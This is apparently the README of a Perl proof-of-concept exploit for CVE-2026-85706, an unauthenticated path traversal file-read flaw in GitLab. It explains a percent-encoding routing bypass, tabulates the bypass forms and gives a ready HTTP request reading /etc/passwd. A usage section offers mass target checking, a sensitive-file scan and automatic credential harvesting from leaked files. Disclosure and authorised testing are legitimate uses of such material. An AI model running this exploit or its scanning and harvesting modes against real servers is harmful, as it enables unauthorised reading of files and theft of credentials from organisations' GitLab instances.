PoC en Perl que explota CVE-2026-85706, un path traversal no autenticado en GitLab que permite la lectura arbitraria de archivos, con escaneo masivo y recolección de credenciales.
Solo para pruebas de penetración autorizadas y operaciones de Red Team.
El uso no autorizado constituye un delito penal. Consulte el Aviso legal.
CVE-2026-85706 es una vulnerabilidad de salto de ruta (path traversal) con CVSS 10.0 en GitLab Community y Enterprise Editions que permite a un atacante completamente no autenticado leer archivos arbitrarios del sistema de archivos del servidor con una sola solicitud HTTP. No se requieren credenciales, ni token, ni interacción del usuario.
| Rama | Rango vulnerable | Corregida en |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
La pila HTTP de GitLab tiene tres capas:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse actúa como un proxy inverso inteligente: para ciertos endpoints de "subida" (commits de repositorio, operaciones de archivos), lee los cuerpos de solicitud multipart, guarda los datos de archivos en disco y reescribe la solicitud antes de reenviarla a Puma. De forma crucial, adjunta un encabezado JWT (Gitlab-Workhorse-Api-Request) a cada solicitud que proxya. Rails luego valida este JWT (mediante require_gitlab_workhorse!) antes de ejecutar cualquier lógica del manejador.
Capa 1 — Coincidencia de rutas de Workhorse:
Workhorse hace coincidir las rutas de solicitud usando una expresión regular compilada que opera sobre la cadena de bytes sin procesar, codificada en porcentaje. NO decodifica las secuencias %XX antes de hacer la coincidencia.
Capa 2 — Enrutamiento de Puma/Rack:
Puma decodifica las secuencias %XX antes de que Grape enrute la solicitud. Por lo tanto, una solicitud a /repository/%63ommits se decodifica a /repository/commits y se enruta a CommitsController.
Capa 3 — Lectura de archivo previa a la autenticación:
Una vez en el manejador de Rails (al que se llega sin el JWT de Workhorse porque Workhorse nunca hizo coincidir la solicitud), el manejador lee params[:file][:path] de la cadena de consulta y llama a:
File.open(params[:file][:path]) # ← happens BEFORE authentication
Al codificar en porcentaje un carácter de un segmento de ruta estático, la solicitud del atacante pasa desapercibida ante Workhorse:
| Segmento | Original | Forma de omisión | Carácter codificado |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (cualquiera) | commits | commits/ | barra final |
| (cualquiera) | commits | commits.json | sufijo de Grape |
Una vez abierto el archivo, el contenido se exfiltra mediante el analizador de cadenas de consulta de Rack:
Rack::Utils.parse_nested_query(File.read(path))
Si el archivo contiene un % no seguido de dos dígitos hexadecimales válidos (lo cual es común en archivos de configuración de Ruby, YAML de CI, logs, etc.), Rack genera:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
Este cuerpo de 400 respuestas contiene el contenido sin procesar del archivo hasta el byte infractor incluido, revelando el contenido del archivo al solicitante no autenticado.
Los archivos sin secuencias % explotables (por ejemplo, un /etc/passwd limpio) devuelven un 401 o un error de validación de parámetros después de la lectura: esto actúa como un oráculo de existencia de archivos (la lectura aún se produjo antes de la autenticación).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Técnica | ID | Implementación en esta PoC |
|---|---|---|
| File and Directory Discovery | T1083 | El modo --scan sondea 38 rutas sensibles del servidor |
| Credentials In Files | T1552.001 | --harvest extrae claves/tokens/contraseñas del contenido filtrado |
| Módulo | Paquete | Función |
|---|---|---|
LWP::UserAgent | libwww-perl | Cliente HTTP (obligatorio) |
LWP::Protocol::https | libwww-perl | Soporte HTTPS (obligatorio) |
URI::Escape | liburi-perl | Codificación de cadenas de consulta (obligatorio) |
Term::ANSIColor | libterm-ansicolor-perl | Salida con colores (opcional) |
JSON | libjson-perl | Modo de salida JSON (opcional) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output